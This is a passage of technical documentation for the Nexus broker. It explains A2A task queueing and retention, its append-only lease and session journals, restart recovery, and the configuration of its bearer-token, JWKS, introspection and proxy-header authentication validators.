| The instance exited while booting, never signalled ready inside the ready timeout, or the broker is at capacity | TASK_STATE_FAILED | The spawn was attempted and did not come up. A retry may succeed. |
| A surviving instance is mid-reattach after a restart | TASK_STATE_FAILED | Spawning now would put a second engine on one session directory. Retry once the instance has reconnected. |
The terminal status carries a message explaining what happened without naming a lease, because a lease is not a concept an A2A client has.
Response latency. The two internal timeouts a /claim caller already waits
on apply unchanged to the first message of a conversation and to the message
that re-spawns one:
| Bound | Value | Effect on an A2A response |
|---|---|---|
| Ready wait | 30s | A cold spawn blocks the A2A request until the instance signals ready. In the worst case the client waits 30s and then receives a FAILED task. |
| Session-report grace | 5s | After ready, the broker waits up to 5s for the instance’s session id. It is not on the answer path for the turn: a report that never arrives only costs the conversation its durable binding, so a later resume starts a fresh session rather than replaying. |
Both are constants, not config keys: they bound the broker’s own handshake with a process it started, not a policy an operator tunes. A second message on a live conversation pays neither — it goes straight to the running instance — which is the whole reason the instance is kept alive between turns.
Serial task queueing
A conversation runs one task at a time. A Nexus instance runs one agent
loop, and two input payloads sent to it while a turn is in flight do not
produce two turns — they interleave into whatever the loop does next. So a second
message on a contextId whose task is still live is accepted and queued: it
sits in TASK_STATE_SUBMITTED, with nothing sent to any instance, until the
task ahead of it is terminal, and then moves to TASK_STATE_WORKING.
TASK_STATE_SUBMITTED is the honest rendering — §3.1.1
defines it as “accepted, not yet started”, which is exactly a queued turn. A
queued task is a complete task: it has an id, it can be read with GetTask,
streamed with SubscribeToTask, and cancelled with CancelTask.
The queue is keyed by (caller, profile, contextId) — the same key the
instance is filed under — so two conversations never wait on each other, and two
principals using the same contextId get two instances and two queues.
It advances on exactly one event: a task reaching a terminal state. Every way a turn can end funnels through there, so the queue survives things going wrong:
| What happens | What the queue does |
|---|---|
| The turn completes, fails or is cancelled | The next task is promoted and starts. |
| The instance is released while idle, or crashes | The active task settles at FAILED; the next task is promoted and acquires a fresh instance, which resumes the conversation from its session. |
| A queued task is cancelled before it starts | It leaves the queue; nothing else is disturbed and the task behind it still runs. |
The active task parks at TASK_STATE_INPUT_REQUIRED | It keeps the queue: the agent loop is blocked inside ask_user, so starting the next turn would send input to an instance that cannot read it. a2a.tasks.input_timeout is what stops that being a deadlock — see below. |
A promoted turn is detached from the request that submitted it: a client that
hangs up while queued has not withdrawn its message, and can read the result with
GetTask or reattach with SubscribeToTask.
A2A task retention (a2a.tasks)
Every A2A task the broker runs is recorded in <state_dir>/a2a-tasks.jsonl, in
the same append-and-compact shape as the lease journal
and the A2A context index
(a2a-contexts.jsonl). One
mechanism, one failure policy, one thing for an operator to know about a
state_dir — a database for this one file was rejected on those grounds.
The record is what makes GetTask, ListTasks and SubscribeToTask answer
after the instance is gone. It carries the task’s identity, its current status
and status message, its response artifact and a bounded trail of the messages the
client sent, keyed by owner first so a task is not reachable without a
principal, and scoped to the profile it was addressed to.
With no state_dir the store is memory-only: every read still answers for
the life of the process, and nothing survives a restart. The reads refusing would
be a far worse degradation than losing them across a restart, which is what such
a broker has already chosen for its leases.
A task left in flight by a stopped broker is settled at TASK_STATE_FAILED
when the store opens, with a status message saying the broker stopped. Leaving
it as it stood would show a client WORKING for ever, and would make the record
immortal — only terminal tasks are evictable, so a crash loop would accumulate
records that count against the cap and push real tasks out of it.
Retention is load-bearing, not housekeeping. A broker records a task for every turn every client ever runs, so an unbounded policy would grow with traffic rather than with any one conversation:
| Bound | Value | Configurable | Why this number |
|---|---|---|---|
a2a.tasks.ttl | 24h | yes ("0s" disables) | A task is only useful to a client that still holds its id, and a client that has been away for a day has restarted, retried or given up. A day is also far longer than any plausible reconnect window, so the TTL never expires a task somebody is still following. It matches nexus.io.a2a’s default deliberately: the same client talking to the same agent must not find its history disappearing on a different schedule depending on whether a broker is in front of it. |
a2a.tasks.max_per_context | 50 | yes (0 disables) | 50 turns of readable history per conversation is far more than a client polls back over. It is lower than nexus.io.a2a’s 200 because a standalone listener serves exactly one context — its per-context cap is also its total — whereas a broker holds every conversation at once, so the number multiplies. |
| Total tasks retained | 2048 | no | The backstop that makes the store’s footprint statable: the per-context cap alone bounds nothing when the number of contexts is unbounded. Eviction takes the oldest terminal records first. |
| Stored text per artifact or message | 16 KiB | no | The store’s real growth term. A turn’s answer is unbounded and the record is rewritten on each transition, so an uncapped answer would be written several times at whatever size it happened to be. 16 KiB is roughly four thousand words. It is not a config key because it is a property of this storage substrate rather than a deployment choice. |
Two consequences worth stating plainly:
- Only the stored copy is truncated. A client attached while the turn ran
received the whole answer; a truncated stored copy carries a marker saying so,
so a later
GetTaskcannot mistake an excerpt for the whole. - Streamed deltas are never stored. A record is written only when a task changes state or publishes an artifact, so a turn that streams thousands of chunks writes the same handful of lines a one-word turn does. The store scales with the shape of a turn, not its volume.
a2a.tasks.input_timeout (default 15m, "0s" disables) is the third knob and
is not about storage at all: it bounds how long a task may sit at
TASK_STATE_INPUT_REQUIRED. A parked task holds its leased instance and its
conversation’s serial queue, because the agent loop that
asked the question is blocked inside ask_user. On expiry the task is driven to
TASK_STATE_FAILED — a real terminal transition that closes every attached
stream and frees the queue — and the instance is sent a cancellation so its loop
unblocks. Fifteen minutes is chosen against a human: a question routed to a
person has to survive being paged, read, thought about and answered. Setting
"0s" removes the deadline, and with it the guarantee that a queue behind an
unanswered question ever moves.
Lease durability (state_dir)
Lease state is live-process bookkeeping: which instances this broker spawned,
who claimed them, and what session each is running. Without state_dir it lives
only in memory, so a broker restart loses all of it and the nexus processes it
spawned become orphans nobody can account for. Setting state_dir makes it
durable.
This is not session continuity — that is already solved by
~/.nexus/sessions/<id>/ plus -recall, and a released instance’s session
directory is intact and resumable whether or not state_dir is set.
state_dir: "~/.nexus/broker" # per-broker; never shared between brokers
broker_id: "" # optional; generated + persisted when empty
Format. <state_dir>/leases.jsonl is an append-only JSONL journal, one JSON
object per line. There is no database and no migrations — the broker is a
standalone binary, not an engine plugin, so the per-plugin SQLite storage is not
available to it. A record is written when a lease is minted
(lease-created), when its pid or session id first becomes knowable
(lease-updated, which supersedes the earlier record for the same lease_id),
and when it is torn down (lease-released). The release record is written
from the single point all three teardown reasons converge on, so a manual
POST /release, an idle sweep and a crash are all recorded.
Each record carries lease_id, owner (the claiming principal’s id, tenant
and scopes), session_id, binary, pid, broker_id, advertise_addr —
verbatim as configured, so a record round-trips what is in broker.yaml — and
created_at / released_at / reason.
binary is the binaries entry name the instance was spawned
from — the name, not the path, so the record still identifies the variant after
the entry is repointed at a new build. It is omitted when empty, which is what a
journal written by a broker predating the field looks like; such a record still
loads, and an absent binary means not recorded, never “the binary named empty
string”. The lease journal’s copy is only good while the lease is live — a
released lease is dropped by compaction — so the durable mapping lives in a
separate file, described next.
No secret is ever written. Not the lease’s per-spawn secret, not a client
WebSocket ticket, not a bearer token. The owner’s raw claim set is
deliberately not persisted either — id, tenant and scopes are what
ownership and scoped listing need, and the full claim set stays in the broker’s
slog audit trail. (The spawn-key file beside the journal is a derivation
key, not a credential: presenting its contents to WS /instance authenticates
nothing. See Restart recovery.)
Growth is bounded by compaction, in two passes over the same rewrite: the journal is compacted when it is opened, and again every 512 appends. A compaction rewrites the file to hold exactly the leases that are still live, one record each, via a temp file and an atomic rename — so a crash mid-compaction leaves the previous journal intact. At any moment the file holds at most (live leases + 512) records, however many leases have come and gone.
Durability. Every append is fsynced before it returns, and a compaction
fsyncs the temp file before the rename and the containing directory
after it. The journal therefore survives a power loss or a hard reset, not only
kill -9: rename is atomic but not durable, and an unsynced tail is exactly
where the record carrying an instance’s pid lives — losing it would leave the
next boot closing out a lease whose process is still running. The barrier is
unconditional rather than restricted to the pid-bearing record; the cost is
roughly three fsyncs per lease lifetime (minted, pid/session recorded,
released), which is why singling out one record kind was not worth the invariant.
The session-binaries.jsonl and a2a-contexts.jsonl indexes are not fsynced:
both are best-effort, an unknown key means no opinion, proceed, and losing
their tail degrades to the behaviour that predates them rather than to a wrong
answer.
Failure handling. A journal write or fsync that fails is logged and otherwise ignored: it never fails a claim or a release, because durability must not become a new way for the broker to refuse service. A record that was being written when the broker was killed leaves a torn final line; the reader skips it with a warning and keeps every complete record before it, and the rewrite-on-open truncates it away. An unreadable or malformed line anywhere in the file is skipped the same way rather than failing the whole file.
Multi-broker cooperation is not implemented: no broker reads another’s
journal, there is no shared store, and there is no routing. broker_id and
advertise_addr are stamped on every record now so that a future shared backend
needs no data migration.
Session → binary index (session-binaries.jsonl)
<state_dir>/session-binaries.jsonl records which
binaries entry served each engine session, so a
resume can be checked against the build that created the session. It is a
separate file from the lease journal on purpose: the journal is compacted down
to the leases that are still live, and a resume always arrives after the
original lease was released, so a binding kept only there would be gone precisely
when it is wanted.
Format. Append-only JSONL, one object per line, with three fields —
session_id, binary (the entry name, never the path) and at (when the
pairing was last recorded, used only for pruning). A later line for the same
session_id supersedes an earlier one. No secret is ever written, for the
same reasons as the lease journal.
When a line is written. At claim time for a resume, where the session id
arrives in the request body, and on the session-id report for a new session,
where the id is not knowable any earlier. Re-recording an unchanged pairing does
not append — a session resumed many times costs one line, not one per resume. An
empty binary is never written: empty means not recorded.
Growth is bounded by an entry cap of 4096 bindings, applied when the file is rewritten — on open, and again every 256 appends — via a temp file and an atomic rename. A cap is required here and compaction alone would not be enough: nothing ever retires a binding (outliving its lease is the whole point), so without one the file would grow by a line per distinct session forever. When the cap is exceeded the oldest bindings are dropped.
It is best-effort, and that is deliberate. An unknown session is an ordinary
answer meaning no opinion, proceed — never a mismatch. A session predating this
file, a session whose binding was pruned, and a broker running without a
state_dir all resume exactly as they did before the index existed. What a
found binding is enforced as on a claim is described under
Resume inherits the recorded binary.
Failure handling. Malformed, torn or partially-written lines are skipped
with a warning and every good line before them is kept; the rewrite-on-open
truncates the damage away. A corrupt index never prevents the broker from
booting. Unlike the lease journal, an index that cannot be opened at all is
not a boot failure either — it logs a WARN and the broker runs with the
index off, because refusing to serve would trade an advisory check for an outage.
A write that fails is logged and otherwise ignored: it never fails a claim.
A2A context → session index (a2a-contexts.jsonl)
<state_dir>/a2a-contexts.jsonl records which engine session serves each
A2A conversation, so a message on a
contextId whose instance is gone re-spawns onto the same session with
-recall instead of starting a new one. It is written only when agents: is
configured, and it is a third file rather than part of either of the two above:
the lease journal is compacted down to live leases, and the session → binary
index is keyed by session id — precisely the thing an A2A client does not know.
Format. Append-only JSONL, one object per line: owner_id (the principal;
omitted for the anonymous owner every caller is when no auth: block is
configured), profile, context_id, session_id and at. A later line for the
same (owner_id, profile, context_id) triple supersedes an earlier one. No
secret is ever written, for the same reasons as the lease journal.
The key is the triple, not the contextId. A2A lets a client choose its own
contextId (§3.4), so keying on it alone would let
any caller name another caller’s conversation and be handed that session’s
history. A colliding contextId under a different principal — or a different
profile — resolves to the caller’s own binding: no leak, no oracle, and no
overwrite of the real owner’s entry.
When a line is written. On the instance’s session-id report, which is the
earliest moment the session id exists. An empty session_id is never written:
empty means not recorded. Re-recording an unchanged pairing does not append, so
a conversation resumed many times costs one line.
Growth is bounded by an entry cap of 4096 bindings, applied when the file is rewritten — on open and every 256 appends — via a temp file and an atomic rename. The number matches the session → binary index deliberately: the two are populated by the same events at the same rate (one A2A conversation is one engine session), so a broker that outgrows one has outgrown both. When the cap is exceeded the oldest bindings are dropped, ordered by when each was last recorded.
Eviction is lossy, by design, and nothing warns anybody. A pruned binding reads back as unknown, and unknown means “new conversation”: the next message on that
contextIdspawns a fresh session and the client is told nothing — it simply finds the agent has forgotten the conversation. That is the accepted cost of a key space with no retirement event; nothing ever marks a conversation as finished, because being resumable later is the whole point of one. The cap is generous for that reason, and the degradation is always to forgetting, never to answering with the wrong session. A deployment that needs a conversation to survive indefinitely should not rely on this file: keep the engine session id the broker reported and address it directly.
Failure handling. Malformed, torn or partially-written lines are skipped
with a warning and every good line before them is kept; the rewrite-on-open
truncates the damage away. An index that cannot be opened at all is not a boot
failure — it logs a WARN and continuity falls back to the life of the process,
because refusing to serve would trade resumability for an outage. A write that
fails is logged and never fails the message that produced it; the cost is that a
later resume starts fresh.
With no state_dir there is no index at all. A conversation is then resumable
only for as long as its lease lives — the same bargain such a broker has already
made for its leases.
Restart recovery (reattach_window)
With state_dir set, a restarting broker reclaims the instances it left
running instead of orphaning them. Recovery runs at boot, before any route is
served, because a surviving instance is already retrying its dial-back and every
attempt made before its lease is back in the registry is refused as unknown.
For each live record in the journal, exactly one thing happens:
| Record state | Outcome |
|---|---|
broker_id is not this broker’s | Left alone. Not adopted, not killed, not closed out — the broker has no standing over a lease it cannot identify as its own. state_dir is per-broker, so this only happens if broker_id changed under a directory. |
No pid | Closed out (lease-released, reason restart recovery: no process was ever spawned). The broker died between minting the lease and exec’ing its instance. |
pid is not alive | Closed out (reason restart recovery: process is gone). |
pid is alive | Restored: the lease comes back with its original owner, session_id, pid and created_at, and re-holds its capacity slot so max_concurrent stays honest and the broker cannot over-admit. |
A restored lease is inactive — it reads as spawning on GET /leases — until
an instance dials /instance and presents both the correct lease id and the
correct spawn secret. Once it does, the lease is fully ordinary: idle sweeping,
crash watching, ownership checks and POST /release all apply unchanged.
Liveness is not identity, which is why a restored lease is not handed to
whoever dials in naming it: the pid recorded before the restart may have been
recycled to an unrelated process, and a signal-0 probe (the portable check on
Linux and macOS) cannot see the difference. Admitting a dialer on a lease id alone
would hand a stranger’s process a client’s session. The spawn secret settles it,
and it is required on every registration — restored or not, auth: block or
not (see Instance dial-back authentication).
How the secret survives when it is never written down. The per-spawn secret
is derived, not stored: HMAC-SHA256(<state_dir>/spawn-key, lease_id). The
key file is 32 random bytes, generated on first boot, mode 0600 inside the
0700 state_dir. What is on disk is a key, not a credential — its contents
authenticate nothing on their own, it is not addressed to any lease, and the
journal beside it still contains no secret. The trade-off is explicit: anyone who
can read spawn-key and knows a live lease id can impersonate that lease’s
instance — but that reader is already running as the broker’s uid, and can
therefore read the secret out of the child’s environment or spawn instances
directly. Losing or rotating the key is safe, just lossy: derived secrets stop
matching, restored leases fail to reattach, and the reaper kills their instances
and frees their slots. The broker logs a WARN if the key file is unreadable as a
key (it regenerates one) or is readable beyond its owner.
Nothing reattaches forever. A restored lease that no instance registers
against within reattach_window is reaped through the same teardown as a manual
release, so the shutdown → grace → force-kill sequence and the slot accounting
stay in one place. Because a reaped lease has no dial-back socket to receive the
protocol shutdown frame on, its process is signalled SIGTERM (which the engine
handles as a clean shutdown that persists the session) and escalated to SIGKILL
if it does not exit.
Boot is never failed by recovery. An empty, absent, unreadable or corrupt
journal is a clean cold start with a WARN. (A state_dir that cannot be opened
at all is still fatal — that is a misconfiguration, not lost data.) With
state_dir unset, boot is byte-for-byte what it was before recovery existed.
Authentication (auth:)
The auth: block configures an ordered chain of credential validators
(pkg/nexusauth). Six routes are authenticated by middleware — POST /claim,
POST /release/{lease_id}, GET /leases, POST /ticket/{lease_id},
GET /binaries and GET /metrics.
GET /healthz is registered outside the guard and always answers 200 with
no credential, because a load balancer or container probe has none to present.
GET /metrics is the one route that layers a second check on top of the
middleware: it additionally requires auth.admin_scope. See
GET /metrics.
WS /lease/{lease_id}, the per-lease client socket, is not behind that
middleware but does use the same validator chain: it resolves the caller’s
credential itself and then enforces lease ownership before the WebSocket upgrade
— see Lease ownership below. It stays off the middleware
because it accepts either an Authorization: Bearer header or a
single-use ?ticket= query parameter, and a bearer-header wrapper cannot express
the second. See WS /lease/{lease_id} for
the two credentials and their precedence. The WS /instance dial-back is not
covered by this block at all: it authenticates with a spawn secret.
auth:
admin_scope: "nexus.broker.admin" # optional; "" means nobody is an operator
validators: # ordered; the first validator that accepts wins
- type: static
tokens:
- token: "..." # bearer token, compared in constant time
principal: "ci-runner" # required: the identity this token acts as
tenant: "acme" # optional
scopes: "a b" # optional: string (space/comma separated) or list
- type: jwks # OIDC JWTs verified against the issuer's published keys
issuer: "https://id.example.com/"
jwks_url: "https://id.example.com/.well-known/jwks.json"
audience: "nexus-broker"
algorithms: ["RS256"]
principal_claim: sub
- type: introspect # opaque tokens verified by asking the issuer (RFC 7662)
introspection_url: "https://id.example.com/oauth2/introspect"
client_id: "nexus-broker"
client_secret_env: "NEXUS_BROKER_INTROSPECTION_SECRET"
principal_claim: sub
- type: proxy_headers # identity established by a fronting authenticating proxy
trusted_proxy_cidrs: ["10.4.0.0/16"] # required, and the entire security model
principal_header: X-Forwarded-User
| Key | Type | Default | Description |
|---|---|---|---|
auth.admin_scope | string | nexus.broker.admin | The scope a validated credential must carry to be treated as a broker operator. It widens GET /leases from “the caller’s own leases” to the whole registry plus the capacity aggregates, and it is required to scrape GET /metrics — and nothing else: POST /release/{lease_id} and WS /lease/{lease_id} stay strict principal-ID ownership, so a leaked operator credential cannot tear down or hijack another principal’s session. Comparison is exact and case-sensitive. Set it to "" (or admin_scope: with no value) to mean no caller is an operator, which makes GET /leases caller-scoped for everybody and refuses GET /metrics to everybody. Irrelevant while auth is disabled — both endpoints are then unrestricted for all callers. |
auth.validators | list | [] | Validators to try, in order; the first one that accepts the request wins, so cheap validators belong first. An empty or absent list means auth is disabled. Unknown keys are rejected at every level. |
auth.validators[].type | string | required | Validator implementation: static (a table of shared tokens), jwks (OIDC JWTs verified against an issuer’s published key set), introspect (opaque tokens verified by calling the issuer’s RFC 7662 introspection endpoint), or proxy_headers (an identity a fronting authenticating proxy already established, honoured only for peers inside a CIDR allowlist). |
auth.validators[].principal_claim | string | "" | Which claim becomes Principal.ID. Parsed for every entry; required for jwks and introspect, accepted and ignored by static and proxy_headers (neither has a claim set — proxy_headers uses principal_header instead). |
auth.validators[].tenant_claim | string | "" | Which claim becomes Principal.Tenant. Optional for jwks and introspect; accepted and ignored by static and proxy_headers. |
auth.validators[].scopes_claim | string | "" | Which claim becomes Principal.Scopes. Optional for jwks and introspect; accepted and ignored by static and proxy_headers. |
auth.validators[].tokens | list | required for static | Token table for a static validator. At least one entry; duplicate token values are a config error rather than a last-one-wins surprise. |
auth.validators[].tokens[].token | string | required | The bearer token value, matched against Authorization: Bearer <token> with a constant-time compare. |
auth.validators[].tokens[].principal | string | required | The principal id a request presenting this token acts as. Must be non-empty — an empty principal would behave as a wildcard in later ownership checks. |
auth.validators[].tokens[].tenant | string | "" | Optional tenant/workspace id carried on the principal. |
auth.validators[].tokens[].scopes | string or list | [] | Optional granted scopes. A string is split on whitespace ("a b" → ["a","b"]); a list is taken verbatim. Scope comparison is case-sensitive. |
Because static tokens are written inline, a broker.yaml carrying them is a
secret: restrict its file permissions accordingly.
The jwks validator
type: jwks verifies an RFC 7515 JWS bearer token against the signature keys an
OIDC issuer publishes at its JWKS endpoint, validates exp / nbf / iss /
aud, and maps the verified claims onto the Principal. Signature and
standard-claim verification use github.com/golang-jwt/jwt/v5; the key fetch,
cache and rotation logic is Nexus’s own.
It is generic OIDC with no provider-specific defaults. Nexus does not know
which claim your issuer puts a stable subject in, so principal_claim is
required and there is no fallback guess — a validator that silently defaulted to
sub for an issuer that mints a different stable identifier would bind lease
ownership to the wrong field.
auth:
admin_scope: "nexus.broker.admin"
validators:
- type: jwks
# Required. Compared exactly against the token's `iss` claim.
issuer: "https://id.example.com/"
# Required. The issuer's key set endpoint. Must be https, except to a
# loopback host. There is no OIDC discovery — see below.
jwks_url: "https://id.example.com/.well-known/jwks.json"
# Required. A token matching any listed audience passes.
audience: "nexus-broker"
# …or several:
# audience: ["nexus-broker", "nexus-broker-staging"]
# Optional. Asymmetric algorithms only.
algorithms: ["RS256"]
# Claim mapping. principal_claim is required.
principal_claim: sub
tenant_claim: org_id
scopes_claim: scope
# Optional cache and transport tuning.
cache_ttl: 10m
negative_cache_ttl: 1m
http_timeout: 5s
clock_skew: 1m
| Key | Type | Default | Description |
|---|---|---|---|
auth.validators[].issuer | string | required | The exact value the token’s iss claim must carry. A token with no iss, or a different one, is rejected. Compared as an opaque string, not as a URL, so it matches whatever your issuer actually mints — trailing slash included. |
auth.validators[].jwks_url | string | required | The issuer’s JWKS endpoint. Must be an absolute https:// URL; plain http:// is accepted only for a loopback host (127.0.0.1, ::1, localhost), for local development and sidecar-fronted deployments. The key set is the entire basis for trusting a token, so fetching it over a rewritable channel would let an on-path attacker substitute a signing key and mint any principal. Userinfo in the URL is rejected. Validated at load, so a typo fails the boot, not the first claim. |
auth.validators[].audience | string or list | required | Acceptable aud values; a token carrying any of them passes. A lone string is one audience and is not split on whitespace (unlike scopes), because an audience is a single opaque identifier and splitting would silently widen what the broker accepts. A token with no aud is rejected. |
auth.validators[].algorithms | list | ["RS256"] | The JWS algorithms accepted at verification time. The token header’s alg is never trusted: it is checked against this list before any key is resolved, and again by the JWT library. Allowed values are RS256/RS384/RS512, PS256/PS384/PS512, ES256/ES384/ES512. none and the HMAC family (HS256/HS384/HS512) are not configurable at all — allowing a symmetric algorithm against a published key set is the algorithm-confusion attack, so it is a config error rather than a footgun. |
auth.validators[].cache_ttl | duration | 10m | How long a fetched key set is considered fresh. A kid already in the cache is always served from memory with no network round trip — verification sits on POST /claim and on the WebSocket connect path, so a per-request fetch would put the issuer’s latency in front of every session. Past the TTL the request is still served from cache and a refresh runs behind it. 0 means the default. |
auth.validators[].negative_cache_ttl | duration | 1m | How long a kid that could not be resolved is remembered as unresolvable, and the minimum interval between on-demand key-set fetches. Both bounds matter: the per-kid half stops a repeated forged token from re-fetching, and the global half stops a flood of tokens bearing distinct invented kids from amplifying one-to-one into issuer traffic. It is also the recovery interval — a genuine key rotation that arrives during the window is picked up when it expires, with no restart. 0 means the default. |
auth.validators[].http_timeout | duration | 5s | Bounds a single JWKS request, and is the worst-case latency an unreachable issuer can add to a cold claim. A hanging identity provider cannot hang a claim. 0 means the default. |
auth.validators[].clock_skew | duration | 1m | Leeway applied to exp and nbf, absorbing clock drift between the issuer and the broker. Capped at 5m: a large skew silently extends the life of every token the issuer ever minted, so a mistyped value fails the boot. Set clock_skew: 0s for no leeway at all. |
Durations are Go duration strings (10m, 30s, 1h30m). A bare number is a
config error — 600 reads as ten minutes to a human and six hundred nanoseconds
to Go, and guessing either would be worse than saying so.
Key rotation and JWKS failures. A kid the cache has not seen triggers one
synchronous fetch, which is what makes rotation work without a restart: a token
signed with a key added to the JWKS after the cache was populated verifies on
its first presentation. When the endpoint is unreachable, behaviour is
deliberately asymmetric — a key already in the cache keeps verifying (that is
the point of the cache), but a kid that is not cached is denied. An
endpoint the broker cannot reach cannot vouch for a key it does not hold, so the
failure mode is a refusal and never an allow.
Claim mapping. principal_claim → Principal.ID, tenant_claim →
Principal.Tenant, scopes_claim → Principal.Scopes. The scopes claim accepts
either a space-delimited string (the OAuth 2.0 scope convention) or a JSON
array of strings. The full verified claim set is carried on the principal for
audit regardless of which claims are mapped. A token whose principal_claim is
absent, empty, or not a scalar is rejected: an empty Principal.ID would
compare equal to the anonymous owner and to every other empty-id principal, which
is a privilege-escalation path rather than a cosmetic gap.
Two further rejections worth knowing about. A token with no exp is rejected
rather than treated as valid forever. And when the issuer publishes an alg on a
key (RFC 7517 §4.4), that declaration is enforced: a key published for RS256
will not verify an RS512 token even if both algorithms are in your
algorithms list.
No OIDC discovery — jwks_url is explicit, by decision.
/.well-known/openid-configuration is deliberately not supported. Three reasons:
a discovery document can point the JWKS URL anywhere, so supporting it adds a
second endpoint whose compromise substitutes signing keys; an explicit URL is one
host to allow through an egress firewall instead of two; and it removes a
network dependency from the first claim after startup. To configure a provider
that documents only its discovery URL, fetch that document once by hand and copy
its jwks_uri value:
curl -s https://id.example.com/.well-known/openid-configuration | jq -r .jwks_uri
If your issuer ever changes that URL you will need to update broker.yaml, which
is the trade being made: an explicit, auditable endpoint over an automatically
followed one.
The introspect validator
type: introspect verifies an opaque bearer token by asking the issuer about
it, per RFC 7662 (OAuth 2.0 Token
Introspection). Not every identity provider issues JWTs; a token that carries no
claims and no signature can only be validated by the authority that minted it.
The broker POSTs the token to the configured introspection endpoint using its
own client credentials, reads the active verdict plus the returned claims, and
maps those claims onto the Principal using the same principal_claim /
tenant_claim / scopes_claim options as jwks.
auth:
validators:
- type: introspect
# Required. The issuer's RFC 7662 endpoint. Same transport rule as
# jwks_url: https, or http to a loopback host.
introspection_url: "https://id.example.com/oauth2/introspect"
# Required. How the broker identifies itself to that endpoint.
client_id: "nexus-broker"
# The broker's own secret. Give it inline OR by env-var reference,
# never both.
client_secret_env: "NEXUS_BROKER_INTROSPECTION_SECRET"
# client_secret: "..."
# Optional.
client_auth: basic # basic (default) | post
token_type_hint: access_token
# Claim mapping. principal_claim is required.
principal_claim: sub
tenant_claim: org_id
scopes_claim: scope
# Optional cache and transport tuning.
cache_ttl: 1m
negative_cache_ttl: 30s
http_timeout: 5s
| Key | Type | Default | Description |
|---|---|---|---|
auth.validators[].introspection_url | string | required | The RFC 7662 introspection endpoint. Must be an absolute https:// URL; plain http:// is accepted only for a loopback host (127.0.0.1, ::1, localhost), for local development and sidecar-fronted deployments — the endpoint decides who every caller is, so a rewritable channel would let an on-path attacker mint any principal. Userinfo in the URL is rejected. Validated at load, so a typo fails the boot, not the first claim. |
auth.validators[].client_id | string | required | The client id the broker presents to the introspection endpoint. RFC 7662 §2.1 requires the endpoint to authorize its callers, so this is required rather than optional — an operator should not discover it from the endpoint’s own 401. |
auth.validators[].client_secret | string | "" | The broker’s client secret, written inline. Mutually exclusive with client_secret_env. A broker.yaml carrying one is a secret file — restrict its permissions. |
auth.validators[].client_secret_env | string | "" | The name of an environment variable holding the client secret, so it need not be inlined in broker.yaml. Setting both this and client_secret is a config error rather than a precedence puzzle. A named variable that is unset or empty fails the boot: falling back to an empty secret would authenticate the broker as an anonymous client and surface much later as a confusing 401 from the endpoint. The value is trimmed (a secret injected from a file routinely arrives with a trailing newline) and is never logged — errors name the variable, never its value. |
auth.validators[].client_auth | string | basic | How the client credentials are presented: basic (HTTP Basic, RFC 6749 §2.3.1 — every authorization server must support it, and it keeps the secret out of the request body) or post (client_id/client_secret as form parameters, for providers that only accept client_secret_post). With basic the id and secret are form-urlencoded before base64, as RFC 6749 requires, so a secret containing : or a non-ASCII byte is presented correctly. |
auth.validators[].token_type_hint | string | access_token | The optional RFC 7662 §2.1 token_type_hint parameter. Set it to "" to send no hint at all. |
auth.validators[].cache_ttl | duration | 1m | The maximum lifetime of a cached verdict. A cache hit costs no network round trip — this validator sits on POST /claim and on the WebSocket connect path, so a per-request round trip would put the issuer’s latency in front of every session. The effective TTL is the lower of this and the response’s own exp, so a cache entry can never outlive the token it describes; a response with no exp falls back to this value and never to unbounded caching. Capped at 15m: introspection exists precisely so a token can be revoked before it expires, and a longer cache would silently throw that away, so an over-long value fails the boot. 0 means the default. |
auth.validators[].negative_cache_ttl | duration | 30s | How long a definitive refusal (active: false, or a response whose principal_claim is unusable) is remembered, so a client retrying a dead token in a loop does not become introspection traffic. An unavailable verdict — timeout, non-2xx, unparseable body — is deliberately never cached, so recovery from an issuer outage is immediate with no TTL to wait out. Same 15m cap. 0 means the default. |
auth.validators[].http_timeout | duration | 5s | Bounds a single introspection request, and is therefore the worst-case latency a hung identity provider can add to a cold claim — which matters more here than anywhere else, because POST /claim has its own ready-timeout budget to respect. 0 means the default. |
Nothing but active: true is an allow. active: false is a denial; so is a
non-2xx status, a body that is not a JSON object, a missing active member, and
an active member that is not a boolean. There is no path from a strange
response to an authenticated caller.
A response whose principal_claim is absent, empty, or not a scalar is
rejected, exactly as for jwks: an empty Principal.ID would compare equal to
the anonymous owner and to every other empty-id principal, which is a
privilege-escalation path rather than a cosmetic gap.
Caching. Verdicts are cached in memory keyed by the SHA-256 of the token, never by the token itself — the cache is a long-lived map of live credentials, so a heap dump or a debug print of its keys must not hand over working tokens. The map is bounded (4096 entries); past that, expired entries are reclaimed first and live ones are trimmed at random, since the worst case of evicting a live entry is one extra round trip and never a wrong verdict. Concurrent lookups of the same token collapse onto a single request, so a client opening several leases at once does not multiply the round trip the cache exists to avoid.
Secret sourcing convention. <key> holds a literal value; <key>_env holds
the name of an environment variable to read it from. It is the same pair
nexus.io.agui uses for bearer_token / bearer_token_env, and any future
secret-bearing key follows it.
Status mapping. Denials are classified by the validator chain, not by string matching, and map onto:
| Situation | Status | Body | Headers |
|---|---|---|---|
No Authorization: Bearer header | 401 | {"error":"authentication required"} | WWW-Authenticate: Bearer realm="nexus-broker" |
| Credential presented and rejected | 401 | {"error":"credential rejected"} | WWW-Authenticate: Bearer realm="nexus-broker", error="invalid_token" |
| Credential valid but lacking the required authority | 403 | {"error":"insufficient scope"} | WWW-Authenticate: Bearer realm="nexus-broker", error="insufficient_scope" |
| The validator could not reach a verdict | 503 | {"error":"authentication temporarily unavailable"} | Retry-After: 5 (deliberately no WWW-Authenticate) |
The 503 is what an introspect validator returns when the introspection
endpoint times out, refuses the broker’s own client credentials, or answers
with a server error. None of those is a statement about the caller’s token — RFC
7662 encodes “this token is no good” as 200 with active: false, never as an
error status — so reporting them as 401 would tell every client at once to
re-authenticate against an identity provider that is already failing. It is still
a refusal: no lease is claimed and nothing is released. A 503 also outranks a
plain rejection when several validators are chained: if a static table rejects
a token that introspect merely could not check, the honest answer is “ask
again”, not “your credential is bad”. The jwks validator does not produce this
status — its key cache absorbs an issuer outage for any key it already holds.
The client is told the kind of refusal but not which validator refused. The full per-validator diagnosis goes to the log instead, since validator names are deployment topology.
Audit trail. Every allow and every deny emits exactly one structured slog
record — auth allowed (INFO) or auth denied (WARN) — carrying route (the
matched mux pattern), principal_id (empty on a deny), lease_id when the route
has one in its path, and on a deny a reason plus the per-validator denial
group. There is no separate audit sink; these records are it.
The proxy_headers validator
type: proxy_headers trusts an identity that a fronting reverse proxy has
already established and passed down in request headers — oauth2-proxy, an
OIDC-aware ingress, an authenticating service-mesh sidecar. It makes the broker’s
original deployment story (“put your own authenticating proxy in front of it”)
first-class instead of a workaround.
⚠️ A wrong
